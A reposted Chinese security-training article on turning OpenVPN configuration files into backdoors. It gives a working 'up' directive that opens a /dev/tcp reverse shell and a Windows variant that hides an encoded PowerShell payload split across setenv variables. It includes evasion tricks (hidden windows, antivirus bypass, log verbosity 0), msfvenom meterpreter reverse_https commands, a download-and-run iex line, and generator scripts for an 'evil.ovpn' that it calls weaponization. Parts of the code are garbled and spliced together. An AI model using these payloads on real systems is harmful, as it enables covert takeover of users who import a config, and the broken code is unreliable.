当前位置:网站首页 > 网络安全培训 > 正文

利用OpenVpn配置文件反制的安全探索

freebuffreebuf 2020-10-14 365 0

本文来源:01 Linux

OpenVPN是企业常用的数据传输工具,然而使用不信任的ovpn文件是十分危险的,一旦被恶意利用可能会导致企业的数据信息泄露。本文介绍了攻击者是如何对OpenVPN的配置文件进行修改,构建出可连接到远程控制端的反制模块,从而实现对OpenVPN用户系统的控制管理,深入探讨“反制”行为。

简述

无意中看到一篇18年的老文,作者描述了一种利用OVPN文件(即OpenVpn的配置文件)创建一个反弹Shell的操作。核心在于官方声明的up命令,该命令常用于启用TUN后的指定路由。本质上相当于起了一个进程运行指向的任意脚本。

1600050860.png

作者给出了linux下的POC

remote 192.168.1.245 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.1.218/8181 0a.ps1

这样就成功将命令缩短到4段,再简化一下参数,将参数的指定方式`-`替换为`/`作下基本免杀,不然实在看不下眼了

setenv k0 xxx setenv k1 xxx setenv k2 xxx setenv k3 xxx up 'C:\\Windows\\System32\\cmd.exe /c "(start powershell /w hidden /enc %k0%%k1%%k2%%k3%)"'

先拿去试了一试,可以成功执行,但hidden参数并不起作用,powershell的窗口一闪而过

直接在cmd终端甚至webshell下通过cmd /c 调用的powershell时加上hidden参数是不应该有任何闪窗的

然后意识到这里用了start来启一个进程,这与以下的命令虽然像,但效果可不同, 果然是调用方式问题

cmd.exe /c powershell /w hidden /enc %k0%%k1%%k2%%k3%

尝试将start去掉,这下好了?不, 这下崩了,虽然官方文档中说明了能使用单引号和双引号,反引号注明传递参数

单在win上的gui中某些特定情况下,并没有将整串powershell命令当作参数导致解析失败

而用start的方式调用会有闪窗..在一番乱查之后发现cmd还有一个`/b`参数可以解决这个万恶的闪窗

1600050978.png

详细查看了一下错误日志,因为执行这一串命令后,返回的值跟openvpn预料的不符

所以openvpn认为这是执行失败了,所以把进程kill掉,并中断一切操作...

那就给它加个管道把输出丢了吧

up 'C:\\Windows\\System32\\cmd.exe /c "(start /min /b powershell /w hidden /enc encoded_shellcode)|cmd"'

但这样还是太长了很显眼,既然是cmd然后再调用的powershell,我们其实有两次解析环境变量的机会,因此可以再嵌套一层变量

setenv kk 'start /min /b powershell /w hidden /enc %k0%%k1%%k2%%k3%' up 'C:\\Windows\\System32\\cmd.exe /c "(%kk%)|cmd"'

当然不要忘了把日志等级设置一下,不然debug信息就把命令输出到log了

# Set log file verbosity. verb 0

最终利用

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64 # 替换到powershell模板里,然后python3 -m http.server 80 # 将下载的url转为base64, 切割成四段, 隐藏到配置文件中...

全手动啊?好麻烦啊, 这也叫武器化?

武器化

生成脚本它这就来

01 Linux

linux平台配置文件生成脚本

import base64 import random import argparse  template = '''太长就不放了'''  def handle_tempalte(p1,p2,p3,p4): return template.format(first='setenv resolv "{}"'.format(p1), second='setenv key "{}"'.format(p2), thrid='setenv client_key "{}"'.format(p3),  fourth='setenv cert "{}"'.format(p4))  def encode_payload(url):  file_str = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',4)) return str(base64.b64encode(bytes("curl {url} -s -o /tmp/{file_str} {file}".Replace('{url}',$url).Replace('{file}',$file) Write-Host $raw_payload $b64_payload = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($raw_payload)) # split payload $flag = $b64_payload.length/4 $evil_ovpn = handle_tempalte $b64_payload.Substring(0,55).Insert(0,"setenv k0 ") $b64_payload.Substring($flag,$flag).Insert(0,"setenv k1 ") $b64_payload.Substring($flag*2,$flag).Insert(0,"setenv k2 ") $b64_payload.Substring($flag*3,$flag).Insert(0,"setenv k3 ") Out-File -FilePath .\evil.ovpn -InputObject $evil_ovpn -Encoding utf8 Write-Host "generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64" $shellcode = Read-Host "Please enter your shellcode :" $evil_ps = handle_pstempalte $shellcode Out-File -FilePath .\evil.ps1 -InputObject $evil_ps -Encoding utf8

Usage

01 Linux

msfvenom -p linux/x86/meterpreter_reverse_https LHOST=192.168.114.165 LPORT=8080 -o a -f elf python3 generate_linux.py http://192.168.114.165/a # host the launcher pe python3 -m http.server 80 # start to listen msfconsole -r linux_listen.rc # attacker use the evil config file sudo openvpn --config evil.ovpn

02 Win

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64 powershell -ep bypass -f generate_win.ps1 > Please enter your download url, Ex: http://192.168.114.165/a.ps1 :: http://192.168.114.165/a.ps1 > Please enter your script name, Ex: a.ps1 :: a.ps1 > iex(New-Object Net.WebClient).DownloadString('http://192.168.114.165/a.ps1');a.ps1 > generate shellcode command: msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.114.165 lport=8888 -f base64 > Please enter your shellcode :: shellcode > [*] Done! Host your evil.ps1 by 'python3 -m http.server 80' on your vps > [+] please look at evil.ovpn, and show me your SET skill # host the launcher pe python3 -m http.server 80 # start to listen msfconsole -r win_listen.rc

References

文章:Reverse Shell from an OpenVPN Configuration File

链接地址:https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

转载请注明来自网盾网络安全培训,本文标题:《利用OpenVpn配置文件反制的安全探索》

标签:企业安全

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表